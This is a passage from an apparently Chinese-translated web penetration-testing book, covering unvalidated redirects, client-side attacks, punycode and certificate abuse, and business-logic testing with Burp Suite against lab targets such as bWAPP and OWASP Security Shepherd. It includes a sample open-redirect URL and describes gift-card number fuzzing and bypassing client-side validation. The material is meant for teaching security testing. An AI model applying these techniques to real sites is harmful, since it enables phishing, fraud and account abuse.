对于这样一个长的名称,未经验证的重定向和转发漏洞使网站面临着极小的努力即可进行攻击,使攻击者能够将用户重定向到恶意网站或至少是意外的网站。我们可以使用自动化工具(如 Burp 或 ZAP)扫描网站,这些工具将通过一些线索来发现潜在的问题,例如使用完整站点路径或长重定向响应的页面,这两者都在此网站上看到(如下图所示),或者尝试在浏览器中指定扩展名或修改 URL:

Burp Suite 扫描显示未经验证的重定向和转发漏洞

大多数网站在您在页面上悬停在链接上时仍然允许查看 URL,相关链接为here如下截图所示。这是在 OSINT 努力中直观发现此类风险的简单方法。

识别候选超链接

作为替代,一些网站会隐藏超链接,但页面源代码应该向我们显示这一点,如下图所示。对于这个网站,我们可以看到他们正在使用前面提到的相对链接,如果网站验证只返回相对链接,通常会提供更好的保护。如果他们使用显式的完整链接或允许它们代替站点范围的相对链接,这通常会表明一些不太严格编码的验证。这也是发现任何其他相关脚本或非明显超链接的好方法,这些也可能是先前讨论的 CSRF,隐藏字段利用等的潜在线索:

查看源代码通常会显示更多

要注意的部分是 URL 中?之后的部分。正如我们以前所见,直接包含命令、脚本、字段,现在又是另一个页面链接,为黑客提供了许多途径来插入他们自己的调整,启动命令,甚至引导客户端到站点的完全合格域名FQDN)。对于这种攻击,我们可以简单地开始调整 URL 字符串,并尝试添加我们自己的重定向。显然,这可能是试图欺骗用户访问我们的恶意门户或启动恶意软件下载的更大尝试的一部分,但现在,让我们只用一个良性的重定向来证明它,方法如下:

http://172.16.30.129/bWAPP/unvalidated_redir_fwd_2.php?ReturnUrl=https://www.hackthissite.org/

看哪!我们已经把用户重定向到我们的恶意网站,这种情况下,只是我们最喜欢的练习网站www.hackthissite.org(如图所示):

重定向成功!

这种简单的方法经常被忽视,但当 URL 作为电子邮件中的超链接隐藏时,无论是完全隐藏还是只显示 URL 的预期部分,用户都很有可能点击它。如果 URL 之后的操作包括让用户访问具有他们可以提供的身份验证的站点,这可以为黑客提供足够大的立足点来利用。很少有这种攻击单独存在;通常用于协助横向移动或在更全面的攻击生命周期早期劫持会话。

我不需要你的验证


在 Web 应用程序中进行验证是消除或减少威胁的重要步骤。 XSS,注入,CSRF,未经验证的重定向和转发攻击都利用了应用程序中的缺陷,允许对字段进行操纵,暴露先前隐藏的功能或未使用的组件,并且缺乏语法强制执行。这里列出了一些附加的验证样式攻击,并且通常可以通过全功能扫描和代理工具很好地检测到:

  • CSS 注入:CSS 注入寻找常见样式表中容易受到操纵或注入攻击的代码(不要与 XSS 或跨站点脚本混淆)。与 XSS 和 CSRF 一样,这可以用于插入脚本或引起流量重定向,从而导致数据外泄或凭据、令牌和其他敏感信息的捕获。在极端情况下,可以通过这种方式传递持久性。

  • 客户端资源操纵:实际上是 XSS 的一个变种,这些攻击侧重于请求或响应中各种用户可控元素,这些元素可以导致客户端在浏览器内执行恶意命令或进程。CSS 注入是这种攻击的一种变体,但其他常见的目标是网页中的 iFrames 和其他链接对象(图像、引用、脚本、对象等)。iFrames 是提供单个页面多个内容来源的常见方式,在许多新闻和电子商务网站中使用。

  • Web 套接字:Web 套接字攻击并没有像预期的那样普遍,因为你有多少次看到应用程序在 URL 中使用ws://wss://而不是 HTTP 调用?Web 套接字被设想为一种方式,可以在客户端和服务器之间提供全双工、异步通信链接,能够承载多个 TCP 连接。嗯,它们并没有完全起飞,但如果它们真的流行起来,你可以使用 Google Chrome 的扩展或 OWASP 的 ZAP 工具来测试它们的问题。与 HTTP 一样,我们希望我们的 Web 套接字受到当前版本的 TLS 的保护,因此许多常见的 OpenSSL 或基于加密的攻击都是公平的游戏。它们还应该在其标头中有严格的来源标签规则,以便可以测试客户端资源操纵和各种注入攻击。

  • 跨站点闪烁:跨站点闪烁与 XSS 非常相似,只是它针对 Adobe Flash 嵌入,这与 PDF、Java jar 文件和生产软件一样,是恶意软件的常见传递机制。通过更改嵌入文件,黑客可以植入恶意软件或实现更多面向网络的目标,例如收集凭据和 Cookie。

  • 跨域资源共享(CORS):这利用了本章涵盖的许多攻击中缺乏验证的特点。大多数应用程序将确保标头使用多个参数进行通信,我们需要测试在请求超出原始域的范围之前需要多少额外的验证。如果 Web 开发人员允许这些标头使用通配符或禁用这些检查,那么这提供了攻击的手段。标头检查是主要的测试方法,但如果存在漏洞,它可以通过类似 CSRF 的代码操纵来利用。

时尚的黑客技术来来去去


最近客户端攻击的趋势集中在规避许多受信任的保护机制并提高用户意识。虽然我不会详细介绍这些内容,但值得注意它们的潜力,并考虑如何在自己的测试中评估和利用这些漏洞。

点击劫持(bWAPP)

点击劫持曾是几年前一种普遍的攻击方法,以其在 Facebook、Twitter、亚马逊和其他知名网站上的使用而引人注目。在所有这些攻击中,黑客们诱使用户点击伪装或隐藏的链接,以启动恶意页面或脚本。简单的 HTML 可以提供重叠的 iFrame 或其他机制,用户无法清楚地看到其存在,黑客可以利用这一点在合法网站组件的顶部覆盖一个按钮,使他们认为他们点击的是一个控件,实际上他们点击的是一个恶意操作,通常是为了获取他们的凭证、窃取 cookie,甚至钩住浏览器。这些技术在现代浏览器版本中已经得到解决,但值得注意的是这种技术曾经存在。

Punycode

大多数使用英语的网络用户并不知道世界各地的 DNS 中使用了许多不同的字母表。虽然英语、日耳曼语和罗曼语键盘可能不知道这一点,但浏览器完全能够渲染这些字符以适应使用亚洲、非洲和中东更广泛字母表的用户和公司。妥协的方法是实施一种编码方案,以便浏览器和其他应用程序能够准确地引用其他字符,这就是Punycode。这确实会引起一些混淆,因为不同语言中有一些看起来几乎相同但实际上是不同的字母或符号。2017 年 4 月,研究人员发布了警告(www.xudongz.com/blog/2017/idn-phishing/),警告黑客试图利用这些相似之处。苹果(Safari)、Mozilla(Firefox)和谷歌(Chrome)等浏览器制造商正在努力提供额外的保护,但这证明了需要更高级别的基于 DNS 的保护。预计在本书出版时,大多数浏览器都将采取缓解措施,但当然,我们需要验证这些更新是否已经到位。

伪造或劫持证书

证书和公钥基础设施PKI)是网络和企业信任的基础。这种安排的前提是,如果双方都使用受信任的第三方进行相互认证,会出现什么问题?嗯,黑客们一直在尝试伪造证书,依赖于配置错误的证书、浏览器和松散的服务器端实现。这些都相当容易暴露和防御,但一些新的动态正在计划中。

据称针对伊朗离心机的Stuxnet恶意软件活动(www.wired.com/2014/11/countdown-to-zero-day-stuxnet/)在攻击期间做了许多具有指导意义和前所未有的事情。作为一种蠕虫,它通过隐藏在.LNK 文件中的脚本在目标环境中传播,特别阴险的是这些文件会自动打开并渲染以显示文件类型的图标。一旦进入机器,它建立了内核级别的访问和持久性,同时掩盖了其他帮助传播和执行蠕虫的进程。最令人震惊的发现是它使用了经过签名的软件,使用了真实硬件供应商的证书和私钥进行验证。这种情况对 PKI 社区来说是一个巨大的打击,许多公司开始确保这种情况不会再次发生。

快进几年,现在恶意软件供应商和网络黑客发现,现在可以免费或廉价获得证书颁发机构,这可以帮助他们为其恶意软件或恶意网络门户获得合法证书。再加上 punycode 或其他域名恶作剧,我们现在看到 XSS 将用户引导到恶意门户,这些门户通过 Firefox 中的明显受信任站点图标欺骗用户。值得注意的是,这些攻击仍然很少见,但我们应该期望更多的黑客将尝试在未来利用它们,作为对网络上 TLS 使用的普及和浏览器默认设置的反制措施,这些设置阻止接受自签名、过期或伪造证书,除非明确绕过。作为测试人员,我们将希望确保我们的扫描显示适当的 PKI 配置,仅使用最新版本的 TLS,并且企业浏览器标准不会妥协证书验证,甚至决定采用明确的证书配置,以避免签名恶意软件或重定向:

证书信任不再是过去的样子

摘要


客户端漏洞及其利用暴露了大多数 Web 开发人员的盲点;他们不习惯拥有客户端平台上的安全性,并且可能会陷入只保护他们的框架或应用程序的陷阱。黑客将这视为一个巨大的机会。他们可以妥协最终用户,同时从他们那里转移,利用他们的经过身份验证或缓存状态,从而妥协 Web 服务器。作为一个社区,我们需要确保应用程序所有者明白,加强网站防范客户端漏洞的利益最大化,因为改进客户端安全性会显著减少应用程序本身的攻击面。

这并不容易——操作系统、浏览器、补丁级别、访问模式和其他因素的近乎无限的组合可能会影响客户端的暴露。基于最佳实践的设计、打补丁和对细节的关注是对这些潜在致命缺陷的最好防御。我们还应努力鼓励在可能的情况下使用经过充分测试的框架,而不是自定义组件。与第九章 压力测试身份验证和会话管理中讨论的身份验证和会话管理漏洞一样,我们更愿意从这些广泛可用的组件的更大足迹和广泛审查和审查中受益,而不是发现我们的目标的独特实现存在漏洞,直到被黑客利用。

在下一章中,我们将通过测试来看一下如何对应用程序的业务逻辑进行测试。这最后的纪律真正关注应用程序层的设计和错误处理,虽然我们会看到一些主题重现(比如注入和模糊测试),但我们真的希望确保即使经过身份验证的用户也无法破坏目标并引起问题或访问意外的数据或功能。虽然本章重点是 HTML,并且只是少量使用了我们的工具集,第十一章 破解应用程序逻辑将会重新使用 Burp 和 ZAP,因为它们的自动化能力将对覆盖网站可能期望的所有迭代起到巨大的帮助。我们几乎到了尽头,但希望您仍在建立您的武器库,并看到网络应用程序渗透测试的规模和乐趣有多大!

第十一章:打破应用逻辑

应用程序的业务逻辑不仅对向应用程序的用户呈现准确和预期的信息至关重要,而且实际上有助于维护对某些人来说是业务状态真相的东西。考虑这一点:我们经济的数字化导致大多数财富 500 强公司完全数字化,那些仍然标榜有形产品或提供服务的公司完全依赖于他们处理数据和信息的能力。IT 已经从必要的恶变成了业务的重要推动者,并且在金融、制造业、政府和医疗保健等各种行业中甚至具有竞争优势。灾难恢复和业务连续性项目的激增以及对网络事件的高度恐惧是企业和社会终于意识到这种依赖有多深的症状。

Web 应用程序提供了一些这些应用程序的窥视。一旦用户可以访问应用程序,他们通常会希望代表他们采取一些行动。在前几章中,我们看到了确保用户是正确的用户(而不是黑客)以及安全控件得到正确实施的重要性。这确保了向用户提供的数据既有效又没有恶意。跨站脚本、注入和其他形式的误导可能会从易受攻击的站点反射到客户端和最终用户,但有一类攻击是真正打破应用程序的业务规则。如果攻击者能够利用应用程序中的任何软肋,他们可能会对企业或组织造成严重破坏,并使噩梦变得非常真实。这些漏洞对黑客来说很难——在网络犯罪行为中并不常见——因为它们需要对业务有更深入的了解。这需要时间、坚持和技术之外的维度。

我们可能会遇到的潜在系统差异很大,从人力资源(HR)和客户资源管理(CRM)到工作流程、供应和物流以及企业资源规划(ERP)工具。无论应用程序的类型如何,我们已经看到它们不能盲目地信任这些应用程序来保护数据,即使是通过经过身份验证和加密的渠道。在本章中,您将了解测试人员如何进行逻辑验证,并测试我们的目标是否能够辨别虚假或恶意数据、文件或操作。您还可以了解 Web 应用程序如何确保正确使用,并对可能使站点完全开放于攻击的常见缺陷进行测试。在本章中,我们将介绍以下主题:

  • 学习如何检查不当的功能和 URL 访问

  • 使用 Burp Suite 自动化检查以确保适当的控件

  • 在各个层面探索访问控件,以确保适当和预期的操作

  • 执行文件上传以确保错误处理、有效性检查和恶意软件保护已经就位

与目标进行快速约会


最好通过发现应用程序本身试图做什么、评估预期行为,然后寻找预期行为出现问题的方式来理解业务逻辑。其中一些问题实际上可能是由于软件问题或支持应用程序的模块的错误配置。虽然有时界限模糊,但我们将专注于行为缺陷,这些缺陷更容易通过对应用程序目的、公司目标以及目标开发人员认为他们正在交付的流程的洞察力来发现。

那么,OWASP 如何定义这些漏洞呢?实际上,这些缺陷比我们迄今为止一起看到的其他缺陷要复杂得多。它们也经常被错误地分类,但我们主要关注的应该是应用程序的完整性,而不是主观分类。重要的是确保我们测试代码和逻辑缺陷,并向赞助组织提出适当的建议,以确保利用不会达到目标。对这些缺陷的测试要求更高的知识水平通常将业务逻辑测试限制在灰盒或白盒测试中,因为在黑盒渗透测试中熟悉并进行这些缺陷的测试太耗时了。

在第九章,压力测试身份验证和会话管理中,我们讨论了 2013 年 OWASP 十大风险中提名的一种漏洞类别,缺失的功能级访问控制。为了参考,我在下面的屏幕截图中再次包含了他们的摘要。虽然这些原则的许多方面在第九章中已经讨论过,压力测试身份验证和会话管理,但是这一类别中的一些缺陷实际上是由于业务逻辑缺陷或业务流程到应用程序规范的要求分解不当。我们几乎不能责怪软件团队不是心灵读者。我知道,这是很诱人的!其他漏洞超出了功能访问控制领域,而是涉及交易处理的不当。

OWASP 对缺失功能级访问控制的风险摘要

我们将在一些更相关的领域中研究一些这些问题,以确保我们像猎物一样思考,并更好地适应他们遇到的业务问题。

利用电子商务

如果一个网站专注于电子商务,很可能会有一个购物车。如果我们考虑一个现代购物车可能具有的功能,通常包括购物车中产品的列表,修改每个产品数量的方法,输入优惠券和折扣代码的字段,通常还有一个付款或运输流程,类似于 Packt 网站上看到的www.packtpub.com/的屏幕截图:

Packt 自己的购物车/电子商务网站

除了购买一个很棒的产品之外,在购物应用中可能出现很多问题。即使我们可以证明它没有编码错误,仍然可能存在工作流程或流程的问题,这些流程用于驱动实施却没有得到适当的验证。以下是一些业务逻辑缺陷的例子,我们可能会失去对购物车的控制:

  • 折扣异常:一些网站在删除产品或修改数量后,未能重新计算订单的折扣。一些精明的购物者甚至发现了一些允许在特定产品上应用优惠券,然后删除这些产品但保留优惠券优势的网站。

  • 价格操纵:一些早期的旅行网站没有对应用程序返回的定价进行验证,而是相信客户端的浏览器准确报告所见的价格。在足够多的人能够以远低于实际成本的价格购买航班之后,你可以打赌那些开发人员开始验证一切。

  • 购物车交换:一些网站过去在将购物车与经过身份验证的会话关联方面做得不好,当与朋友和亲戚共享购物车时,可能会在一个用户的付款上购买购物车内容,而在第二个用户的地址上进行配送。黑客已经利用了这个漏洞。

  • 礼品卡伪造:也许没有任何一个缺陷能更好地证明业务逻辑漏洞远不止局限于数字领域。黑客和欺诈者已经开始利用现在无处不在的礼品卡领域。由于许多卖家通常不追踪礼品卡,而且在事后对账户的余额应用了最少的跟踪,黑客已经开始通过模糊潜在未兑现的卡号并猜测流通中的卡存在来获取礼品卡余额。利用 Burp Suite 的模糊能力,磁卡条编写器和一些耐心,恶意欺诈者可以生成大量带有余额的卡。更多信息可以在www.solutionary.com/resource-center/blog/2015/12/hacking-gift-cards/找到。

针对这些缺陷的测试可以涉及对各种参数进行模糊测试 - 包括用户输入部分中明确列出的参数,以及隐藏字段和 cookie 范围中的参数。Burp 和 ZAP 非常适合这个角色。也就是说,许多真正的流程问题将需要由知识渊博的人来发现。OWASP破损的 Web 应用程序BWA虚拟机VM)提供了一个BodgeIt Web 应用程序,可以帮助练习一些与购物相关的问题。

金融应用程序 - 给我看钱

金融门户网站,如电子商务中的门户网站,直接影响着各种金融状态的用户。银行和投资公司往往对技术方面的网络安全非常关注,但这并不意味着所有的业务逻辑都已经得到了正确的转化,或者所有的规则都已经通过了每一次迭代或使用案例。当它们专注于一个特定的服务或故意远离标准的银行惯例时,这些网站特别容易出现业务逻辑问题,比如下面截图中显示的练习网站:

金融业务逻辑的练习网站,Cyclone Transfers

过去最常见或臭名昭著的缺陷列在这里:

  • 账户恢复:不仅适用于金融机构,而且在这里非常值得努力的是,对银行或公司的账户恢复流程进行攻击。通过暴力破解或更好地说,社会工程学,黑客可以通过安全问题满足门槛,实际上劫持账户用于自己的用途,通常在用户意识到之前就已经将其清空。

  • 分布式拒绝支付攻击:当臭名昭著的海盗湾网站的创始人因分发非法获取的内容和软件而被罚款时,其中一位(Gottfrid Svartholm,news.hitb.org/content/pirate-bay-proposes-distributed-denial-dollars-attack-ddo)设计了一个计划来攻击追究责任的法律团队。通过要求活动支持者每人捐赠一分钱,他们希望迫使起诉团队承担每笔交易 1 美元的交易费。如果规模扩大,这将达到数百万美元,而他们只能收到资金的 1/100。金融机构的验证肯定可以帮助及早制止这些攻击。

  • 账户链接问题:如今,几乎任何机构都需要允许他们的客户将金融账户与其他机构链接。这不仅仅是方便 - 没有这个功能,根本不可能在他们的网站上加载余额。也就是说,利用漏洞继续影响金融世界,利用链条中的弱机构。用户输入的不充分验证可以允许黑客转移资金并更改自动付款方式。

OWASP BWA VM 上的Cyclone transfers应用程序可以帮助演示上述问题,还可以从www.vulnhub.com下载大量的虚拟机来演示。

黑客人力资源

人力资源门户正在成为黑客的热门目标。提供灵活工作安排或依赖远程用户的公司现在正在扩展人力资源门户访问以提供公共云访问。他们提供的服务和吸收的信息构成了一个不可抗拒的目标。类似类型的网站和工作流程也在政府社会计划中发现,例如美国退伍军人事务部或社会保障管理局门户。在这些网站上,我们看到个人信息和银行信息的融合,通常会泄露机密信息(薪酬标准、薪酬结构、绩效评估等),这些信息在暗网上或作为勒索活动的一部分可能非常有价值。

注意

学习人力资源和应用安全交汇的一个很好的资源可以在国际标准化组织(ISO)27002:2013 信息安全管理,第七章,人力资源安全中找到。

人力资源应用程序中的常见风险集中在敏感信息披露,但也可能影响工资单和评估工具集。一些最令人担忧的风险包括:

  • 个人数据曝光:在人事数据库中不当使用基于角色的访问控制可能会允许用户意外(或攻击者故意)访问其他员工的信息,而这些员工没有合法的权限。一旦访问,数据可能容易遭到篡改、删除或外泄。

  • 工作流程操纵:调动、加薪、降职、解雇——如果这些工作流程被不当访问,可能引起的混乱是不容小觑的。幸运的是(目前为止),还没有公开宣布发生这种类型的违规事件,但没有人想成为第一个。

  • 员工流动性:许多客户的人力资源组织和员工群体都使用临时、合同和永久员工。此外,许多人在雇佣前后(招聘、退休、家庭等)与员工进行一定程度的互动,这进一步复杂化了基于角色的访问控制RBAC)。确保这些不同的角色被明确定义和实施,以确保在员工状态发生变化时及时进行调整至关重要。

邪恶的复活节彩蛋

世界上一些地区的孩子们通过寻找隐藏的糖果和彩蛋来庆祝春天的基督教节日复活节。虽然这些复活节彩蛋与节日的意义关系微弱,但这个术语在视频游戏中流传开来,Atari 的一些程序员是第一批有意隐藏代码和有趣响应的人,只有在特定的按键组合或事件解锁隐藏事件时才能访问。一些有趣的彩蛋仍然存在于现代操作系统上(www.businessinsider.com/mac-windows-easter-eggs-2013-2)。黑客已经开始使用类似的方法,因为正常的软件验证工具可能会忽略这些事件,或者无法看到它们之间的关系。

避免这些漏洞产生影响,我们的首要任务应该是确保黑客无法在不符合严格验证的输入字段中植入信息,或者剥离或筛选任何嵌入式代码片段或片段中的任何恶意内容。虽然以这种方式传递的代码通常无法执行,但应用程序中其他攻击(缓冲区溢出和代码注入)可能会引用这些字段并重新组装可执行文件或脚本。完全自动化的安全漏洞扫描器将忽略这些实例的潜力,因为它们无法正确模拟将代码重新组合的条件。它们最好的防御措施,也是我们应该测试的最重要的事情,是确保用户输入经过验证,以确保它们是完全相关的。在地址字段中,不可打印的字符或编程语法是不合适的。Unicode 在数字字段中也是不合适的。

这么多应用程序可供选择...

正如你所看到的,这只是皮毛。虽然工具可以帮助渗透测试这些应用程序的业务逻辑,但是适当地限定这些目标范围是至关重要的,因为要完全测试它们将需要对应用程序以及组织实施的定制进行详细了解。无论应用程序是什么,它们都会接收和处理数据。一旦我们确定了在哪里以及如何,我们就有一些基本的检查项目,可以防止常见的漏洞利用。

功能风水


在渗透测试应用程序中,到目前为止,我们在如何处理这里使用的每种技术方面已经非常有条理。自动化工具,如我们的代理扫描器、暴力破解应用程序以及许多枚举和扫描工具,已经帮助我们做到了这一点,并且可能使新的渗透测试人员能够成功地识别出许多漏洞,而无需对环境有详细的了解。这是因为许多测试与不正确的编码、技术缺陷或配置错误有关,它们在性质上更加具体。

然而,业务逻辑测试完全是关于理解网站试图表达或执行的工作流程。现在,我们可能仍在使用工具,但只有在具有实际知识的情况下才会使用。在许多情况下,将工具调整到特定的业务逻辑测试可能远远超过手动扫描本身所需的时间。将其视为更加明智的测试,这样的时间在灰盒或白盒范围内是完全合理的,以确保应用程序所有者和开发人员的意图得到正确实施。让我们看看如何使用我们之前已经介绍的工具来解决这些问题。

基本验证检查

对于大量的业务应用程序,我们需要成为操作的大脑,并帮助工具理解应用程序预期的工作方式。代理工具可以帮助我们聚焦传递的变量,向我们展示客户端和服务器之间的交接点在哪里。大多数应用程序开发人员只会考虑在一端或另一端进行验证,因此,通过在这些交接点中捕捉它们,我们通常可以找到一些麻烦的空间。如果是电子商务网站,我们需要验证应用程序不会让代理设置自己的价格。如果是人力资源网站或医疗保健门户网站,我们需要确保故意提交的无效信息不能代替有效的姓名、个人信息、地址和电话号码。

我们可以使用 Burp Suite 的 Proxy Intercept 和 Intruder 功能来检查这些,其中您可以在尝试向每个字段提交越界字符串的同时测试输入验证。为此,我们可以从 OWASP BWA VM 中包含的 OWASP Security Shepherd Application 等内容中提取适当的用户输入页面,并进入 Poor Data Validation Lesson,如下面的屏幕截图所示:

OWASP 安全牧羊人应用程序

如果你一开始就输入一个负数,你会注意到它返回一个消息,说发生错误:无效数字:数字必须大于 0,如下面的截图所示。有趣的是,当我查看 Burp 的代理拦截时,没有 GET 或 POST 等待转发。这表明存在客户端验证。

尝试无效输入

当提交一个有效数字时,我们可以通过客户端验证,并在 Burp 代理的 HTTP 历史记录中看到 POST 消息。在下面的截图中,我们可以看到userdata字段,它被提交为1234,但我已经修改为负数。如果应用程序只依赖于客户端验证,这应该可以绕过。

修改客户端验证的输入

安全牧羊人网站的这节课中,我们将在下面的截图中看到成功。在对生产应用程序进行真正的测试时,我们的结果会有所不同:我们可能会看到混乱的输出作为存储元素重复返回,或者我们可能会看到对账户余额或其他可衡量实体的调整。

成功利用了不良验证

在任何情况下,只要活动的客户端进程进行输入验证,HTTP 消息是不受保护的,服务器端不会对输入进行二次检查,都可以使用相同的方法。在这个用例中,它是一个数字,但是我们可以想象,我们可以将其应用于地址字段、评论区域、个人信息、银行信息等。使用 Burp 的 Intruder,我们可以模糊多个参数并使用有效载荷生成器(更多信息请参阅:portswigger.net/burp/help/intruder_payloads_types.html),可以来自 BurpSuite 自己的第三方来源,也可以是我们自己制作的。许多渗透测试人员将使用 Java、Python 或 Ruby 开发自己的生成器,以便与 Burp Suite 集成,这是一个完美的应用场景。一个很好的例子是我们如何探索 Burp 提供的 API 并开发模糊器的详细信息,请参阅apprize.info/python/black/6.html

有时,少即是多?

每当我在解释某事时变得啰嗦时,我的同事们会温柔地提醒我“少即是多”。在 Web 交易中,通常情况下,HTTP 请求和响应会透露多个可追踪的元素,而不是为会话状态增加清晰度,反而会削弱其安全性。我们在前几章中看到,多个应用程序使用PHPSESSIDJSESSID、用户名、用户编号、会话令牌等组合来跟踪同一对话。虽然我一直致力于提供某种程度的保证,表明某些东西被很好地跟踪,但如果应用程序仍然允许只使用部分会话管理参数来维护状态,那么找出哪些参数实际上可以在没有其他参数的情况下传递会话,可以为我们了解如何模糊或更改应用程序的行为提供重要的见解。这可以在 Intruder 中进行一次性测试,但为了获得最佳结果,我建议使用 Repeater 来确保可以进行回放和文档记录。

我可以向Repeater发送任何合适的 POST 或 GET 消息,并系统地删除、修改、添加或更改请求中的所有参数的顺序,这些参数是应用程序似乎正在使用的许多字段,以维护会话状态。在下面的截图中,我们可以看到有大量的会话 ID 和令牌在使用中:

空白的 cookies 和参数

通过一些试错,我发现JSESSIONIDuserdata字段是我们需要维护状态的全部内容。知道了这一点,我可以将定制的请求再次发送给 Intruder(如下图所示),从而可以集中精力对关键字段进行模糊测试。如果我们感兴趣,我们也可以将其发送给许多第三方扩展程序之一,这些扩展程序可以篡改各种会话 ID,并尝试利用弱会话管理。

将关键字段发送回 Intruder

业务逻辑测试的关键在于结合应用程序应该做什么以及如何提供服务的见解,以及适当的工具和调整,以帮助加快测试速度。

伪造恶作剧

一旦您了解了 Web 应用程序的合法请求是如何格式化和填充的,以进行合法流程,同样的方法和工具可以用来制作您自己的请求,而无需客户端浏览器。黑客可能使用这种方法对 Web 应用程序进行大规模操作,但我们作为测试人员也可以使用这种方法更全面地测试可能的字段验证缺陷,这些字段通常不会被提交。一个例子可能是在动态表单页面上,客户端验证通常会根据先前的选择、复选框等上下文隐藏字段。伪造请求可以让我们提交递增字段或构建参数组合。这些缺陷在不在事务的两端(客户端和服务器)进行验证的应用程序中很常见。

可能属于这一类的其他功能包括可以打开调试或详细消息的隐藏开关。如果黑客能够切换这些开关,应用程序返回的消息可能会产生不利影响。调试信息通常包含应用程序内部工作的高度详细清单;如果它们落入错误的手中,可能会向攻击者透露太多信息。其他字段可能通常是不可访问的,并且可能会影响权限或访问权限。测试伪造的可能性有助于确保它们不会在应用程序内部引起问题,也不会导致意外披露或权限升级。

这个按钮是做什么的?

许多内部网络应用程序都会整合多个功能,或者作为许多团队的共同门户,通常会在某些字段中使用选项列表,以便让用户帮助确定他们感兴趣的页面、项目、共享或子功能。我曾在一家雇主那里工作,他们在早期大量使用Microsoft SharePoint,他们会为每个提案、开发工作或我们启动的集成工作建立一个新的项目门户。虽然我可能同时参与了五个项目,但在那个门户上我可能看到了四十个或更多的项目。在大多数情况下,我被拒绝进入,但在几个情况下,我是被意外地允许进入的。

作为测试人员,我们需要确保这样的控件不会提供无效选项,或者向用户提供太多关于目标环境中可能存在的其他内容的信息。一个应用程序的攻击面(潜在向量的数量)会随着每个添加的功能或组而扩大。Web 开发人员应该考虑从一开始就删除无效选项,或者至少确保向特定用户呈现的选项不会透露太多关于底层内容的信息。如前所述,这种测试最适合在白盒测试范围内进行大量实验,并且应该在软件开发生命周期SDLC)的所有阶段都进行。

时机很重要

基于时间的功能是电子商务网站和银行应用程序中的重要功能,希望超时工作流以防止无人看管的会话。这个功能对于任何使用在线旅行预订网站或票务交换(例如下面屏幕截图中的 Fandango)的人来说也是熟悉的,公司试图防止机器人或霸占者占据首选座位并锁定其他有效用户。这些规定需要起作用,否则这里的问题可能会允许攻击者的客户拒绝产品或销售,劫持会话,或者在帮助开放交易期间利用受信任的连接。

基于时间的交易验证

基于时间的验证测试只能手动尝试,并且只能在对设计或代码进行广泛审查之后进行。测试应验证刷新、会话劫持和参数的模糊化无法影响应用程序的计数,并阻止时间限制的操作。

达到您的功能极限

一些 Web 应用程序需要限制事务执行的次数或每个工作流中调用函数的次数。正如本章前面的电子商务部分所讨论的,执行不良的购物车已经被发现接受了相同折扣券的多个应用。机票网站可能会试图将购买的机票限制为一次性交易,但已经出现了在相同的一次性交易成本下购买重复机票订单的情况,从而规避了适当的收费。

一些应用程序将放弃他们自己的工作流程,与经过验证的第三方集成,特别是与PayPalGoogle 支付中心等服务进行交易集成。但是,正如我们在下面的屏幕截图中可以看到的,在一个沙盒化的 PayPal 环境中,有很多移动的部分,应用团队需要正确理解和适应,否则黑客会利用。幸运的是,许多最好的金融处理页面供应商都提供工具、培训和最佳实践,以确保正确的实施和减少威胁。请记住,如果集成的应用程序安全性不当,可能会对更大的支付处理应用程序构成风险。正是出于这些原因,大型支付处理和交易辅助服务不仅提供一流的启用功能,还提供严格的分割、验证服务、可撤销的 API 密钥和其他快速消除从租户服务中溢出到其领域的任何攻击的对策。

PayPal 的开发功能拓扑

功能限制需要与人类一起进行测试,就像本章的其他方面一样。也就是说,测试人员必须要么有设计文档和代码,要么与产品开发团队进行互动,以确保在测试之前充分理解正确的行为,并且任何问题都能得到迅速解决。

我们敢接受文件吗?

一些 Web 应用程序,如费用报告工具、在线图形或图片库或保险公司,可能需要在工作流程中上传文件的能力。由于大多数这些文件是为了与公司员工共享或在其他用户之间传播而需要的,因此这些文件类型必须得到适当的门控,并且文件本身必须没有恶意软件或可疑材料。在欢迎这些文件进入他们的工作流程之前,公司应确定是否有必要,并就他们对其他利益相关者的责任作出明智的决定。他们需要知道是否需要完成防病毒或反恶意软件扫描吗?他们需要监管潜在的知识产权或个人信息吗?是否应允许带有宏或加密的文件,如果是,如何处理?

注意

在生产环境上线之前,所有这些问题都需要得到解答。对这些政策的深入了解和由此产生的控制可以帮助我们测试任何边界条件,当部署可能被接受并随后被他人查看的测试有效负载时,我们肯定需要明确的许可。

摘要


Web 应用程序可能在技术上是健全的,但如果开发人员没有准确地执行公司运营门户、应用程序或服务的意图,就会存在风险。这些业务逻辑问题是难以捉摸但重要的。客户通常会对在生产环境中测试它们所需的额外开销感到不安。这种恐惧或焦虑应该帮助我们强调在 SDLC 中整合渗透测试的必要性,并帮助我们证明应用程序和支持环境中所有元素的组织良好和最新的文档。事后测试是昂贵且耗时的,事后发现的任何问题通常会导致门户的某部分或支持它们的工作流程的彻底重新设计。

业务逻辑测试对我们来说是一个新的尝试,因为它几乎完全依赖于手动的网页交互。时间上的准确性,更不用说为了进行充分测试所需的细节,意味着应用程序渗透测试的这一部分将与更常见的黑盒测试分开。在大多数情况下,业务逻辑测试将由具有丰富经验并与开发人员长期合作的承包商或顾问在内部进行。与测试合作并学会自我检查以更好地指导开发对于应用程序开发团队来说可能是非常值得的。独立测试应该始终受到鼓励,但发现的影响可以更早地在开发过程中得到解决。

现在我们已经完成了适当的 Web 渗透测试的大部分测试类别,我们要做的是向客户传达好(或坏)消息并结束测试。我们将看看任何客户都可以如何改善他们的地位,无论结果如何。我们还将审视一些良好的最佳实践建议,这些建议可以帮助我们表达我们的发现,无论是在测试过程中还是在测试结束时。在一天结束时,我们还需要能够撰写一份可以交付并展示客户价值的报告;如果没有这一点,我们将很难找到后续业务或推荐。我们几乎到达目标了,让我们坚持到底!

第十二章:教育客户和结束

如果你已经读到这里,谢谢!你已经学会了如何处理 Web 渗透测试,以及如何专注和细节来改善客户的安全状况。Web 渗透测试是一种野兽,值得专门化和精通。正如我们在本书中所看到的,存在着令人困惑的各种漏洞类型,而它们易于利用的事实使它们很容易被利用。企业在整个企业范围内都存在重大问题,但从某种意义上说,它们的 Web 应用程序必然是最脆弱的方面。他们如何最好地保护与他们无法控制的用户进行最多互动的工具?

许多 Web 应用程序开发人员及其雇主已购买工具,以提供安全和可靠的运营。良好的意图经常会遇到现实世界的压力和限制,而工具在适当的操作、维护和保养之前就已经被抛在一边。业务速度--业务适应和提供新能力的速度--给 IT 组织和应用团队带来了压力;而在安全实践不足的情况下,通常会出现一种错误的选择:安全还是高效。企业通常会选择后者,因为这是支付账单的方式。安全成为错误抉择的受害者。除非我们能说服团队将安全融入其中,而不是后期添加,否则我们将继续以惊人的速度阅读失败案例。

